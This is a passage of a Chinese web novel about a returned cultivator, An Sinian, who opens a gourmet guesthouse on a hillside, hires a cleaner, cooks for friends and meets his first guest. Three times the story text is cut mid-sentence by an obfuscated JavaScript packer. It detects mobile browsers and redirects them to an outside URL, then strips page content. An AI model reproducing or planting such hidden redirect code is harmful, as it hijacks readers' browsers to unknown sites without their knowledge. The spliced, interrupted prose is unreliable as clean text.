他暂时不敢想。 在九嶷大陆的时候,但凡与空间、时间相关的术法,都是最神秘最深奥的,也只有化神期的大能才可以稍微涉猎,相应的,与这两种属性有关联的法宝,一旦现世,必会惊起一片的腥风血雨。 就连他的师父,那么大一个扶云宗的掌门,手里的储物袋也才两个立方米大小,还是在拍卖行花了一整条灵石矿脉的代价竞争回来的,可见有多么的稀缺。 反正就安斯年在九嶷呆了三百年的所见所闻,就从没听过哪个连筑基都没完成的修士居然可以拥有空间属性的法宝或者法术。 也不知道他到底撞了什么大运,居然在体内觉醒了这么个逆天的东西。 想一想,之前三百年不能筑基,消失的灵气大概率都是被这个空间蛋蛋吞掉了,然后回到了地球,才终于破了壳,孵化出来? 算了,想不通的事情暂时放在一边,继续考虑修仙这档子事儿。 想要开始修行也不是那么简单的,那得有灵根啊。 说白了,就是人身体里得自带一根天线,可以感应到灵气波动的天线。 感应到了,那才有修行的资格。 而且,天线和天线之间差距也好大了,灵根越单一,修行资质就越好,纯到只有一系的单灵根会被尊称为天灵根。 用最简单的数据来说明:普通的五系杂灵根修到炼气一层大概半年左右,而单系天灵根则只要一周,甚至更短。 他当时也不过就用了三天。 可要因为这个就看不起五系杂灵根那也不对,就安斯年知道的,九嶷大陆差不多一万个人里面才能出一个有灵根的。 而一万个有灵根的才会出一个天灵根,这可是真正万中选一的概率。 他猜测,搁在地球上,这比例应该更低。 毕竟没有灵气嘛。 也不知道他的家人朋友里面,到底能出几个有仙缘的。 不过这些目前也就是想想,在没有确定能够自保的情况下,他的功法,他的空间,那都应该是绝对保密的事情。 就怕怀璧其罪啊。 想得太远了,安斯年赶紧拉住思想的缰绳,专注眼前的准备工作,说一千道一万,他居然漏了最重要的一件事情—— 得给民宿起个名字。 自己瞎琢磨了一会,又求助AI帮忙想了几个,什么“滋味堂”“海天一墅”“荔香山居”……好像都没什么眼缘,起码没有让他眼前一亮到立刻做了决定。 那就暂时放一放,得早点休息,明天转完账后还约了水佬交接钥匙。 顺便把曾凯的中介费也结了。 临睡前,安斯年给养在盆里的锦鲤喂了些鱼食,又在空间里好好转了一圈,看望了一下新移栽的多肉和蕨类,要不是现在灵气实在紧张,他真想每颗植物都喂上一丝,让它们快高长大,尽快完成从普通植物到灵植的转化,才好继续帮他打工。 第二天,是大出血的一天。 安斯年一早到银行给水佬办了转账,一年的租金加三个月的押金,总计五十七万整。 再发信息给曾凯:【曾哥,你的费用走公账还是私账?】 照理来说,这钱肯定得给中介公司的,可曾凯给他打了折,少收了三千八百块钱,这人情可不算小了,安斯年有点拿不定主意,会不会让曾凯在公司不好交代,如果是,那还不如干脆走私账好了。 【公账就行】 曾凯的回复挺快,又发了他所在经纪公司的名称账号,后面干脆一个电话敲了过来: “小安,你给水佬办了转账了?那得交钥匙了吧,约好时间了么?” “约好了十一点,我等会就过去了。” 曾凯:“那行,我跟你一块儿去,他房子里原来的家私家电都得好好检查一下,记个清单,免得日后麻烦,你……” “我也去!我也去帮忙看看……” 冯乐乐的声音从听筒里传来,安斯年还小吃了一惊,怎么快十点了,这人还没上班? 等挂了电话一看日历——5月25号,星期天。 修仙的日子过得太久,他已经完全没有节假日的概念了。 见了面,冯乐乐穿了条白色吊带沙滩裙,整一个海滩度假风,见了安斯年就笑道:“你这效率也太快了点,昨天跑了半天就定好地方了?别是给老曾忽悠了吧?” 安斯年撑开手里的塑料袋,里面是他刚在便利店买的几种饮料,让两人自己选,笑着回答:“怎么会?曾哥还一直想劝我来着,是我一意孤行看上了。” “听见没?这下可怪不到我头上了吧?”曾凯拿了支罐装咖啡,“啪”一下扣开了,对女友亲昵的抱怨一句,转头又对安斯年说:“你可不知道,昨晚上回去听说你定了鹿角港半山腰上那家,租金那么贵还是年租,可把我一顿吼啊,那架势……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731005|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>冯乐乐挑出一支冰镇矿泉水,手指在瓶身一抹,再朝着曾凯的脑袋一弹…… 细小的水珠溅射过去,立刻引发了男友的不满,笑骂:“靠,小安在呢,你可给我留点面子,有点淑女样行不?” 冯乐乐压根不回应,水珠子弹得更快了,还追着人,非要往他脸上弹,清脆的笑声“咯咯”的。 曾凯干吼:“……慢点!咖啡快洒了!” 看着两人闹成一团,安斯年很有些羡慕,嘴角不觉挂出了姨母笑。 到了鹿角港,收到转账信息的水佬爽快交了钥匙,等做好家私登记,一切谈妥了,冯乐乐站在三楼泳池边直叹气:“唉,冤枉我家老曾了,这风景也太美了,等你民宿开张了,我也想过来住两天,犒劳犒劳这双眼睛。” 安斯年顺着她的目光看去,确实太美了。 和昨天见到的美又不太相同。 今天没有太阳,是个有些潮湿的阴天,半山腰上起了一层轻薄的水雾,山风微微一吹,幻梦一般变化着形状。 “年仔,民宿你起好名字了么?” 安斯年正头疼这个呢,“没,没想到什么特别喜欢的。” 冯乐乐张开双手,深吸口气,“……叫‘栖岚湾’怎么样?山风栖于此,无味亦斯年。” 怪文艺的,意思是这么美的景色喝西北风也愿意?还能把自己的名字也嵌进去,不愧是京大中文系毕业的才女。 但他感觉这么文艺的名字和自己这吃货稍微有点不搭调啊。 安斯年笑了笑:“挺好听的,做个备选吧,我再看看。” 冯乐乐脑子再一转,“或者……” 没说完,一旁水佬走了过来叫:“小安!小安……” 收到钱的房东心情大好,嚷嚷着请他们吃海鲜。 有人请吃饭那当然再好不过。 曾凯开车跟着水佬的电驴,回到山脚的小渔村里,停在路边的一家大排档门口。 排档门匾上写着“生猛海鲜”四个字,没有店名,也没有菜单,水族箱里各色新鲜的海味,挑拣好了,想怎么吃和老板说一声就行,要吃青菜的话就在后面菜园子里直接挖,现炒。 他们四个人要了五个菜,基围虾是白灼的,濑尿虾必须椒盐的,花螺用的盐焗,海鲈则是清蒸的,最后再炒上个蒜蓉油麦菜。 汤则简单些,要了个例牌。 粤洲人饭可以不吃,但是汤不能不喝,不管哪家店吧,只要是做粤菜的,每天都会例行煲好一两种老火靓汤供客人选择,今天赶上的是五指毛桃土茯苓煲猪骨。 这道汤很有些药用价值,属于祛湿健脾系列,又被称为“粤洲人参汤”,专克岭南的湿热。 因为是早就准备好的,汤最先上了桌,满满的一个砂锅。 开盖的一瞬间,五指毛桃的椰奶香气混合着土茯苓的木质清香,就好像新鲜刨开的檀木屑里混进了一颗南海椰子。 刚入口是甘蔗一般的清甜,吞咽时喉咙会泛起土茯苓的微苦、然后迅速回甘,猪骨的油脂气已经被药材彻底化解了,只留下了醇厚的骨髓香味。 比起旁边的人,安斯年的味觉还要敏锐得多。 他能品出煲汤之前,五指毛桃被稻草火苗燎过所激发出的香气、土茯苓要去掉硫磺味所以浸泡了几个钟头的米汤水带来的清甜,还有冷水浸泡猪骨时去腥用的米酒的微醺、焯水时专门用来吸附杂质的老姜的微辣、开火后第二个小时加入的蜜枣核,既增添了甜味又不抢戏,以及,关火前才加入的海盐,用来锁鲜…… “嘶~” 一汤匙下肚,水佬冲着排挡老板举了个大拇指:“正!” 老板咧嘴一笑:“梗系啦,饮落汤、食饱饭,神仙都唔使做啦~①” 这句话说到了安斯年的心里。 是啊,真的是吃饱吃好了,神仙做起来才更有滋味啊。 他一瞬间有了灵感…… 嗯,店名有了! 11. 冰糖陈皮骨 汤喝得差不多了,海鲜陆陆续续上了桌。 菜的做法都挺糙的,但胜在食材够新鲜,原汁原味也能吃得几人头也不抬。 “突突” 电机声传来。 门口有辆小电鸡停下了,一个微胖的阿姨单脚撑着地面,冲着水佬喊:“水佬,快一点了,开台了啊,怎么还在这儿磨蹭?” 水佬放下牙签,吼了回去,“急什么啊?晚半个钟头再开咯,这个靓仔租了我山上的房子要开民宿,之后再有游客找过来,你们帮他宣传一下啊。” 胖阿姨笑:“哎呀,你那栋三角‘鬼见愁’终于租出去了?” “呸!赶紧给我消失!什么叫‘鬼见愁’?那明明就是孝心来嘅,爱心别墅懂不懂啊?” 水佬唾了人一嘴,转回头对安斯年说:“别听她瞎胡说啊,我房子有多好,你是知道的,我的茶馆就在前面那条街,右转巷子的尽头,下午和晚上我都要打牌,不看手机的,你要是有什么事儿需要帮忙的直接来找我就行。” 安斯年还真有想问的,“就……附近有没有家政公司啊,我想请个钟点工帮忙打扫卫生。” 市里面倒是一大把,可是这边地址太偏了,他怕人家不愿意跑。 答话的是大排档老板:“这小地方哪用什么家政公司啊,你想找人打扫,随便问问就有。呐,街对面小卖铺的那家伙,叫阿光的,他家老良干活好快的,你问问去,工钱能谈拢的话,保证冇问题。” “对,老良做事的确麻利,你去问问阿光。”水佬也很赞同。 看着对面杂货店门口,站在烤肠机后忙活的年轻人,他的老娘?安斯年脑海里浮现出一个五十左右精干的粤洲女性,大概和自己妈妈差不多的形象,个子不高,瘦瘦的,人也微黑,但是做家务会特别的快。 既然撞上个被人交口称赞的,他当然不想错过,起身往街对面走。 今天周末,小渔村里来了不少的游客,大中午的,基本都汇聚在这条餐饮+土特产的商业街面上,吃饭的吃饭,买东西的买东西。 安斯年走到阿光面前,他刚卖了几斤鱼干,给客人打包好递了出去,再应付了两个买烤肠的小游客,才满面笑容的看了过来:“老板要点什么?” “你好,我姓安,刚租了半山上水佬的那栋房子,想开个民宿,想问下你家里有没有人愿意做个钟点工,帮忙打扫一下卫生。” 阿光朝着对面街一看,立刻明白了这人的来路,扯着嗓门朝里间喊道:“老良!老良你出来……” 脚步声响起,安斯年顺着视线看过去,一个双手戴着胶皮手套的彪形大汉走了出来,手套外面沾着不少的血迹,赤着的胳膊上,左青龙右白虎,很是吸人眼球。 这就是……老娘? “做……钟点工么?”安斯年不确定的问。 毕竟这形象,像花臂大哥多过像清洁工,还有这气质,糙汉感都快爆棚了,哪里就娘了? 简单交谈了几句,安斯年才知道此良非彼娘,这人名字叫做良辰,大家习惯性叫他老良,至于为什么听岔了……那是粤普的锅,和他安斯年一定没有关系。 良辰似乎有点木讷,点点头就再不吭气了,看得出来,是坐在柜台后的阿光在全权替他拿主意。 两人都是挺简单的性子,三言两语的就把事情谈妥了。 工资每小时五十块,一天三小时,主要是中午和晚上饭后收拾厨房,再收拾收拾客房,一个月就按四千五百块结算。 如果特殊情况需要加班的,那再提前打招呼,工钱另计。 相互交换了联系方式,加好了微信,良辰回后屋继续杀鱼,安斯年走回对街的排档口,半道上,身后传来一阵喧哗声。 他扭头看过去,刚还对他和颜悦色的阿光大声骂着:“艹,个衰狗!” 一只分不清颜色的流浪犬叼着一根烤肠,在人群中窜得飞快,旋转跳跃,闪躲得十分有技巧。 跑到他身后,眼看就要撞到他腿上了,尾巴一扭,忽然一个急刹,再猛地一个转向,滑出一个风骚的大“C”形,绕开了,“嗖”的钻进路边小巷,七拐八绕的眨眼就没影了。 哇哦,好灵活的样子,快赶上九嶷大陆那只灵犬‘沙姜’了。 安斯年在心里赞叹。 回到饭桌旁几个人闲聊了几句,水佬赶着去开台,冲排档老板叫了声“记账”就先走了,安斯年在这边的事儿办好了,饭也吃了,他准备回出租屋收拾一下,干脆今天就搬过来算了。 反正东西也没多少,收拾起来很快的。 回程的路上,冯乐乐还在和他探讨房间的问题,似乎对他的决定很有些不解,一直在试图游说: “三楼那么大,你就自己一个人住是不是有些太浪费了?还有二楼啊,总共才五间房,你要真是不打算改了,那整个民宿也就这么几间,能住几个客人啊?那么贵的房租什么时候才赚得回来?我看啊,中间隔断调整一下,起码能做成十间。” “乐姐,我本来也没打算接待很多人的,五个房间,两个大床房两个标间,再加一个单间,客满了就快十个人呢,我一次做十几个人的饭菜那也顶了天了,再多了我也忙不过来啊。” “那就请个大厨啊,别人搞这个专业的,难不成还没你做的好吃啊?”冯乐乐很是快言快语。 安斯年心想,那还真不一定…… 但他也没多解释什么,只笑道:“乐姐,等我收拾一下就请你和曾哥来吃饭,算是试营业吧,到时候你再来帮我提提意见。” 冯乐乐半信半疑,“行啊,那你可快点啊,还有一个月放暑假了吧,快旅游旺季了,趁早开始营业还能蹭下热度。” 快点就快点吧,也就不到一周的时间,安斯年基本把所有准备工作都办妥了。 证办好了,电鸡也买了,小牛牌的,银灰色的车头上圆圆的一个大灯。 房子重新粉刷了一遍,玄关处用实木做了个前台,装着锦鲤的大瓷盆往台上一摆,再摆上台式电脑,以后客户登记,房卡钥匙的都在这儿办理交接。 客房内的用品比如沐浴露洗发露咖啡茶包小雨伞什么的,也都添置好了。 他的重点工作区域——厨房,做了比较大的调整。 先是改成了半开敞式,通风采光不知道强了多少倍,为此还换了超大功率的抽油烟机。 然后加了岛台和吧台,操做空间大了很多,还为这个拆掉了一楼原有的两间工人房其中的一间。 再然后,开了道门,直通后院,就在厨房的一墙之隔,砌了个烤房,预备以后烤肉烤鸡烤面包烤所有想烤的。 大动作做完了,小的比如灶具刀具锅碗瓢盆什么的,统统按照最高标准配置齐全。 为了他梦想中的这个厨房,安斯年几乎把脑汁都绞干了,前前后后也花了快二十万的软妹币。 但他不打算给客人做早餐,到时候在岛台上放些速溶饮品、面包、鸡蛋、泡面,想吃的就自己自助。 改动这么大,当然没少和水佬商量,看在不菲的租金份上,黎明同志还是很好说话的,就说哪一天他不租了,退租的时候一切恢复原样就行。 一切就绪,趁着又一个周末,安斯年给冯乐乐发了邀请的信息,前同事饭搭子和她男票欣然应邀而来。 尼桑小车在山道上颠了二十来分钟,到了半山腰,眼前的一切已经变得不太敢认了。 房子还是那么个房子,可周围的绿化…… 怎么说呢,冯乐乐有点词穷。 曾凯直接一些:“卧槽,也太忒么漂亮了吧!小安怎么弄的?” 不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731006|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪他们没见过世面,三层楼的别墅像是陷在了花瀑里,被樱粉色的勒杜鹃从头到脚包围了一大半。 然后这花的瀑布流淌下来汇成了花海,花海中又多了粉蓝粉紫的绣球花、风信子,还有他们叫不出名字的各种花,继续向四周蔓延,这半山腰上,但凡触目能及的地方,几乎已经被铺满了。 花海中央,一块梯形的白色大石头上,银丝面的几个金属字。 【饱岛仙居】 冯乐乐略过这个店名,对着一墙一地的樱粉色花叶双眼冒星星,“哇,哇!这光叶子花居然还有樱粉色的,比正红和桃红好看多了啊,太美了,我天啊……” 没错,勒杜鹃的学名叫做光叶子花,别名还有很多,宝巾、三角梅、小叶九重葛、紫亚兰等等,还是S市的市花来着。 平时大家见得最多的是正红色和桃红色,有的人还会嫌弃它稍微有点俗气,可没想到花的颜色稍微变一下,再这样大片大片的盛放,被周围高高低低、浓淡不一的各花一衬托,就能美得这样无法无天,像是仙境一般。 被花海震撼了一会儿,带着满身清甜的花香,开了门,小两口又被陈皮的果香味暴击。 半开敞的厨房里,安斯年正在炸陈皮骨…… 陈皮可是个好东西,所谓“百年陈皮、千年人参”,形容的就是陈皮的药用价值。 不光药用,它的脾性温和,口感虽然微苦,却带着浓郁的果香,基本能完美适配所有的禽肉类食材。 粤洲的名菜陈皮骨就是用新会陈皮炮制的,安斯年的口味偏甜一些,稍改良一下,变成了冰糖陈皮骨。 焦褐的骨节裹着琥珀色的糖甲,陈皮碎像是金箔一样嵌进了裂纹里,肋排弯折处还挂着半凝固的糖丝。 用筷子轻轻戳一下,会发出“簌簌”的响声,带着果味的焦香混着肉香,从筷子尖上蒸腾出来。 他刚用遥控给冯乐乐开了大门,手里的安氏冰糖陈皮骨才装到盘子里,还没来得及装饰摆盘,一扭头,就见两人闻着味儿窜到了厨房,就在他身后,一左一右直勾勾的盯着盘子。 冯乐乐直接上手撸了一块,被烫的龇牙咧嘴的,曾凯羡慕的看着她,想伸手又有点不好意思,勉强的吞了吞口水,一个劲儿追问:“咋样?啥味?” “唔,唔……” 冯乐乐啜着骨头,没工夫评价,刚一入嘴,香得她来不及品,直接一口就把肉嗦没了,嗯,骨头味道倒是挺好的,肉味儿嘛,得再试试才行。 再来一块…… “到底啥味?” “嗯,嗯……” 说不出来,得再来一块…… 曾凯有些急了,到处寻摸筷子,安斯年有点看不下去,打开一旁的消毒柜,掏出筷子筒,拿出一双正准备递,兜里的手机“铃铃”响起来。 他掏出手机一看,是水佬。 现代人沟通一般都是发信息,打电话的多半有什么急事。走开两步,安斯年接通了电话。 “……小安?” “对,有什么事儿么,水哥?” “你那儿装修的怎么样了?可以拎包入住了么?” “可以啊,现在应该算是试营业吧。” “刚遇上个游客,四处打听想找个僻静点的住处,哪儿还有比我那房子更僻静的?你要是能开门接客了,那我就把他捎上来了?” “……行,来吧。我正做饭呢,上次你请我们吃了海鲜,要是不嫌弃的话,等会也就在这儿用个便饭?” “好嘞,这就来了。” 完美,试营业第一天就有客上门。 挂上电话,安斯年忽略‘开门接客’一词造成的异样感,带着惊喜的笑容转身,岛台上空荡荡的一个盘子,连糖汁都被刮得不剩什么了…… 他的冰糖陈皮骨呢? 12. 爆炒双脆 这事儿曾凯确实有点不好意思,是他直接连盘子一块儿端了的。 但其实吧,他真的只是想尝尝味道,满足一下好奇心而已,但是排骨一入嘴…… 卧槽! 他这辈子就没吃过这么香的排骨!!! 他也总算知道了女票说不出话的原因——太特么好吃了,好吃到不知道该怎么说,所有的形容词都特么是废话,脑子里就剩下吃吃吃!我要吃!!! 趁安斯年打电话就几分钟的功夫,两个人把一盘子冰糖陈皮骨全给炫完了,汁儿都没带剩的。 冯乐乐舔了舔嘴角,眼神从盘子里拔了出来,后知后觉的感到些丢脸。 可她又能怎么办呢?等脑子反应过来的时候盘子里已经没几块了,难道留下来让别人感觉像是在吃剩菜,还不如清盘算了。 “不好意思啊年仔,就……太好吃了,一下子就被曾凯干完了,等会还有人要来?你还准备其他菜了么?要不,到时候我们俩少吃点?” 安斯年还没说话,曾凯已经被女票厚颜无耻的栽赃惊呆了。 什么叫他吃完的,他明明才吃了几块好不好,冯乐乐这家伙起码吃了二十块!!! 曾凯委屈啊,但他又觉得大男人嘛,眼泪只能往肚子里咽,不能当众揭穿某些人的丑恶嘴脸。 他大力拍着安斯年的肩膀说,“兄弟,什么也别说了,需要帮忙么?我帮你打下手。” 安斯年:“……要不,你们帮我检查一下房间?看看还有什么疏漏的没有。”别在厨房呆着就行。 “OK,没问题!”冯乐乐迅速答应一声,和曾凯推攘着上了二楼。 安斯年将空盘子放在洗碗机里,笑着摇了摇头,他原本的计划中,三个人也就三菜一汤,两荤一素搭配好,营养又健康。 没想到等会还要再来两个人,而自己准备的主菜已经喂了五脏庙,不知道轮回到哪儿去了。 确实不太够,还得再做上两道了。 想速度快一点的就是爆炒,他打开冰箱看看里面的存货。 为了应对开业,之前准备了不少的食材,稍微瞄上一眼,安斯年立刻有了打算。 那就来个爆炒双脆吧,再添个白切鸡,和原来准备好的萝卜牛杂、上汤南瓜苗,加起来四个菜,齐活儿。 爆炒双脆里的双脆,指的是猪肚和鸡胗,这道菜看似简单,其实在鲁菜系里属于最顶尖的难度。 一难,难在刀工。 鸡胗去掉筋膜后改菊花刀,还算是入门级别。 猪肚取用的是肚子头的部分,肉质比较厚实,正宗的做法,也得片掉外表的那一层皮膜,只用中间最嫩的部分改网状刀,这种刀法的要求得细腻到什么程度? 得做到将猪肚拎起来的时候,像一张细密的丝网一样,整张透气透光而不散乱。 没个十年八年的案板功夫就根本别想成功。 这二难,就难在火候了。 讲究的是‘少一秒则不熟,多一秒则不脆’,对油温的把控简直苛刻到变态。 安斯年跟着阿公学做菜的时候,就这一道菜,不知道费了多少功夫,重复了多少次,才稍微像了点样子。 可谁叫他就喜欢这种爽脆的嚼劲儿呢。 一小会儿的功夫,猪肚和鸡胗就切好腌制上浆了,作为配菜的笋片、胡萝卜片、黄瓜片也准备好了。 另一边,白切鸡煮得差不多,可以捞出来了。 安斯年将白切鸡斩好摆盘,配好蘸料;砂锅里的萝卜牛杂撒上些芫荽直接端上了桌子;小火煨着的花生眉豆鸡脚汤也加了盐关了火。 这汤是专门给冯乐乐准备的,清甜滋润,补气养颜,很适合女生饮用。 就剩下南瓜苗和爆炒双脆,等人来齐了再开火烹饪。 他正想着呢,窗外伸进来一支含苞的勒杜鹃,就在他眼前瞬间绽开了两朵,像是有人伸出指头比了个‘V’。 安斯年知道,这是有人到半山腰了。 嗯,两个。 渐渐的,电驴的声音由远而近。 民宿头一位客人呢,他打算出门迎接一下。 洗干净手,摘下围裙,他随手捋了捋头顶的卷毛,走到玄关,打开了大门。 “哇!哇哇,小安,你这些花怎么弄的?怎么就这么几天,就爬满墙了?”水佬还没停稳车就开始大声叫唤了。 “请了个绿化公司弄的,还不错吧?” 安斯年笑着回答,目光向水佬身后看去。 一个身量极高的男人,一脚踩在地面,抬腿下了车,左手一个黑色小行李箱,右手一个……猫包? 安斯年仔细再看一眼,确实是个猫包,透明的舷窗里,一只全黑的猫咪冷冷看着外面的世界,一动不动的,活像只玩偶。 所以,不是拎包入住,而是‘拎猫入住’? 安斯年觉得,这一定不是他听力的问题,而是水佬的粤普实在太水了。 想了一堆有的没的,安斯年这才看向男人的脸,怎么好像还有一丝丝的眼熟? 对方似乎也有些微愣,瘦到凹陷的脸颊让本就利落的线条更显锋利,苍白的肤色衬着清晰的黑眼圈,右脸靠下的地方,居然还有一道微微隆起的疤痕,顺着脖子,一直向下延伸,然后被扣得严严实实的衬衫领口遮住了。 大热天的,怎么把领口扣这么严? 想到这儿,安斯年突然记起来了,穿回来第二天,去星爸爸给冯乐乐打包下午茶的时候,在店面角落里见过这个人。 那还怪巧的说…… 大几十公里外在这儿再次遇见。 再次见面,大太阳底下,他给人一种很奇特的矛盾感,明明瘦到骨头架子,身体很不好的样子,偏偏又焕发着极度旺盛的生命力,像是悬崖边上石头缝里的杂草,营养不良又被风吹雨打可仍然蓬勃生长的那种感觉。 就是脸色有些难看,阴沉得要命,好像照在他脸上的阳光都能冷上几度。 “欢迎,我这儿才准备好试营业,要是有什么不周到的,请多多包涵。” 安斯年笑着招呼,伸出手准备帮人拎箱子,那男人没答话,微不可查的点了点头,自顾自拎着箱子走进屋里去了。 ……似乎有点高冷不太好相处啊。 安斯年收回手转过身,水佬已停好车走了过来,探头探脑的四处张望,“哇塞!哪家绿化公司啊,这弄的也太好看了,早知道可以弄成这样,那我当时干脆搬过来住好了,小安啊,就凭这片花海,你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731007|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民宿生意就差不了。” 言下之意有些后悔出租,安斯年当没听见,反正合同在他手里,想违约的话,那可得多掂量掂量。 “谢谢水哥吉言,饭差不多了,再炒个菜就行,先进去吧,稍微等几分钟就好。” 既然人到齐了,那就准备开火炒菜,他招呼完水佬,再发个信息给冯乐乐让他们下楼,然后快步进了屋。 柜台前,高大的男人挎着猫包,不动声色的四下打量。 安斯年这才反应过来他还没给人做登记。 快闪到电脑前开了机,冲人笑着道歉:“不好意思啊,还没正式营业,业务不熟练啊,稍等稍等。” 说完拿起柜面上放着的身份证,迅速瞄了一眼: 晏臻,93年生人,住址在京都。 “……晏先生,客房都在二楼,你一个人的话,住单间可以么?房间主要是山景,也可以看到一点海景。” “要大床房。” 四个字说出来,这位的声音出乎意料的嘶哑难听,粗粝的像是生吞过一整把海盐结晶,被锋利的棱角刮破了喉咙,以至于每个音节都带着干涩与痛苦的震颤。 安斯年抬眼看看他的个头,目测快一米九,倒也能理解为什么想睡大床了,只是大床房的朝向都是海景,面积也大了不少,价格上和单间还是有挺大区别的,得给人解释清楚。 “我这儿是主打美食民宿的概念,餐费每人每天750,按照房间结算,所以说,包餐的话单间950一天,大床房要2080,不包餐单间200,大床房580,价格差距还挺大的,确定要大床房么?打算住几天?” 客人还没说话,水佬在一旁瞳孔地震。 包不包餐的,这大床房的价格就差了一千五? 这饭是金子做的还是银子做的?价格是想要逆天啊?五百就已经很吓人了好不好! 人毕竟是他带上来的,价格太过离谱的话他也感觉很没面子啊,水佬哆嗦着嗓子问:“小……小安,你这包餐的价格,你……你多了个1?” 顺着这句话,晏臻也看了过来,狭长的双眼,瞳色黑到深不见底。 但这价格还真不是乱报的,安斯年琢磨过,主要考虑到他做的饭菜的稀缺性了。 比如中午这一顿,姜葱蒜、南瓜苗、萝卜等等,凡是素菜全都是空间出品,是他用术法催熟的,这可不光是提升口味的问题,这些植物连细胞都饱含灵气,普通人吃了,短时间内看不出什么问题,但实际上能帮助清除体内杂质,营养成分也高了太多太多。 要是长时间食用,就能软化血管,延缓衰老,大病化小,小病化无,好处那是说也说不完。 以后等空间里的药材可以采摘了,那就更厉害了,要是年份够的话,说一句活死人肉白骨那也不是瞎吹的。 尤其是—— 全球独家供应! 只在房价上加了一个‘1’,安斯年甚至觉得,他完全可以入选年度良心商家了。 但是吧,话还是要说清楚的,安斯年低笑一声,“水哥,没报错啊,就这个价,等会儿你吃完了,再来和我说说这个‘1’多不多?” 他的话音刚落,晏臻做出了选择,“不吃饭,大床房,一天。” 13. 白切鸡 行吧,安斯年当然不勉强。 简单做了登记,拉开抽屉,他找出房卡递给晏臻,客气道:“中午饭我已经做得差不多了,你是我这里头一个客人,这餐不算你的钱,一起吃吧?” 晏臻的视线顿了一秒,在对方那只手虎口处的红痣一扫而过,接过房卡,低头查看,“不用,我不吃外面做的东西。” 水佬被一天一千五的餐费镇住了,这会儿闻着空气里的香味,唾沫直往外冒,劝道:“一块儿吃呗,多香啊,你没闻见?肯定有白切鸡,我闻见沙姜蘸料的味儿了,太香了啊……” 一边说一边吧唧嘴,伸长了脖子往餐厅方向打望。 “罂粟壳不也挺香的……” 晏臻淡淡的回了一句,弯腰提起地面的手提箱,轻轻摸了一下猫包,安抚了一下闻着鸡肉香味开始躁动的黑猫,大步走向楼梯。 “上楼右转第二间,标牌写着‘迷迭香’” 安斯年冲着晏臻的背影,抬高音量提醒了一句,心里却在腹诽,这都什么人啊,自己做的饭菜香和罂粟壳有什么关系? 嘴也忒毒了点…… 关上抽屉,快步走向厨房,也就几分钟,最后两个菜都做好了。 餐桌旁的三个人,早就等到望眼欲穿,尤其是水佬,盯着那份鲜嫩的白切鸡,百思不得其解,看上去和经常吃的没什么不同啊,怎么就能那么香呢?别真是被刚才那个大高个说中了,放了什么罂粟壳之类的让人上瘾的香料吧。 “乐姐,帮我端下南瓜苗。” 安斯年一手端着爆炒双脆,一手拿了盒抽纸走过来,招呼着冯乐乐,圆脸女生一溜烟的跑进厨房端菜,曾凯自动自觉的站起来接过了,又帮忙摆好碗,添上汤。 再跑一趟,用托盘将四碗米饭端过来,一个个的放在大家面前,安斯年挨着水佬旁边坐下,终于可以开动了。 水佬瞅准一只“鸡髀凹”,筷子一闪就夹住了。 “豁,老饕啊。”曾凯调侃一句,立马把另外一只夹给了冯乐乐,“吃这个,大腿关节的地方,软骨和胶质嚼起来最香了。” 菜一入口,满桌子就再没人说话了,只能听见呼呼啦啦的各种咀嚼声、吞咽声。跟这个比起来,碗勺相碰发出的‘叮叮’声,似乎都显得格外的温柔。 安斯年已经太久太久没试过和人抢菜了,所以即便半步筑基如他,一个身手敏捷的修士,干饭居然没能干过三个凡夫俗子。 真是耻辱啊。 他捏着筷子,看着桌面上连汤渣都不剩的残局,在心里暗暗鄙视了自己一通。 水佬一脸的油光满面,满足的模样似乎连皱纹都全部舒展了,揉着胃部直叹气:“值!别说一千,就是两千我也乐意!” 冯乐乐好奇的问:“什么一千两千的?” “这儿的餐费啊!你们不知道么?房价倒还算好,就是这个餐费,一个人一天要七百五!还不包早餐!” 安斯年诚心请这小两口过来玩,相当于给民宿开光的,压根没提过费用的问题,冯乐乐当然也就不知道。 一听这价格,她也有点吃惊,眼睛瞪得老大。 曾凯倒是满不在乎的说:“我觉得没毛病,你没看那些高档私房菜,人均一两千的大把,我曾经跟着我老板蹭过一个日料,人均两千六!一顿!可比小安这个,那味道简直差远了,不是我吹捧啊,这价我还觉得低了,但凡来吃过一回的,保准就是个回头客,你就这几间屋子,以后恐怕要被挤爆了。” 水佬其实对价格已经没什么感觉了,他现在就关心自己最爱的那道菜:“诶我就想不通了,你这白切鸡看上去和我们自己做的真没什么差别啊,这蘸料里,也就沙姜、香菜和豉油吧,到底为什么这么香?怎么做的?” 白切鸡是粤洲最出名的凉菜,做法相对的简单,一般的粤式餐厅里肯定少不了这个,如果在自己家里做,选材和火候到位了,比外面的也差不了什么。 